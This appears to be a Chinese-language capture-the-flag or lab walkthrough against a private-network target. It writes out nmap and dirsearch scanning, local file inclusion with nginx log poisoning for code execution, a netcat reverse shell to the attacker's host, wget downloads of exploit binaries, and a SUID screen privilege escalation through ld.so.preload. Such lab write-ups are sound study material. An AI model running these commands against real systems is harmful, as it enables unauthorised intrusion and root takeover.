本机192.168.223.128
目标192.168.223.133
主机发现 nmap -sP 192.168.223.1/24
端口扫描nmap -sV -A -p- 192.168.223.133
开放了 80 111 47089三个端口
先进入web界面看一下
contact界面好像有留言功能,尝试一下xss
<script>alert(111)</script>
并没有弹窗,xss无效
注意到下面版权年数变了,并且页面每刷新一次都会变,打卡bp看看什么情况
并没有什么信息,猜测下面的年数与文件有关,扫描一下目录
dirsearch -u 192.168.223.133
里面这个footer.php没访问过
果然与年数有关,每刷新一次就会被变,那么thankyou.php界面应该就是包含了footer.php
猜测参数是file
成功包含,但是再找不到上传点,尝试一下log文件包含rce,用bp写入,防止尖括号被编码
读取一下日志文件看有没有包含进去,前面端口扫描的时候扫到80端口用的是nginx服务
nginx服务的日志文件目录在
/var/log/nginx/error.log和/var/log/nginx/access.log,我们看一下access的日志
成功rce,那么我们执行一下反弹shell,现在攻击机开个监听端口 nc-lvvp 4567
rce执行 nc -e /bin/bash 192.168.223.128 4567
成功弹回shell
切换到交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
看了一圈没有扫描有用的信息的文件,看一下有哪些suid文件
find / -user root -perm -4000 -print 2>/dev/null
screen 带个版本号有点可疑,搜一下exploit
searchsploit screen
看一下41154.sh
按照指示,把两段c代码分别编译成libhax.so和rootshell,然后在目标及上wget这两个文件
具体操作:现在攻击机上开启http服务
python -m http.server 6677
然后在目标机上wget两个文件
wget http://192.168.223.128:6677/libhax.so
wget http://192.168.223.128:6677/rootshell
然后在目标机上依次执行
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshell
得到root权限
进而拿到flag。然而我的gcc版本可能过新,编译的有点问题,没拿到flag。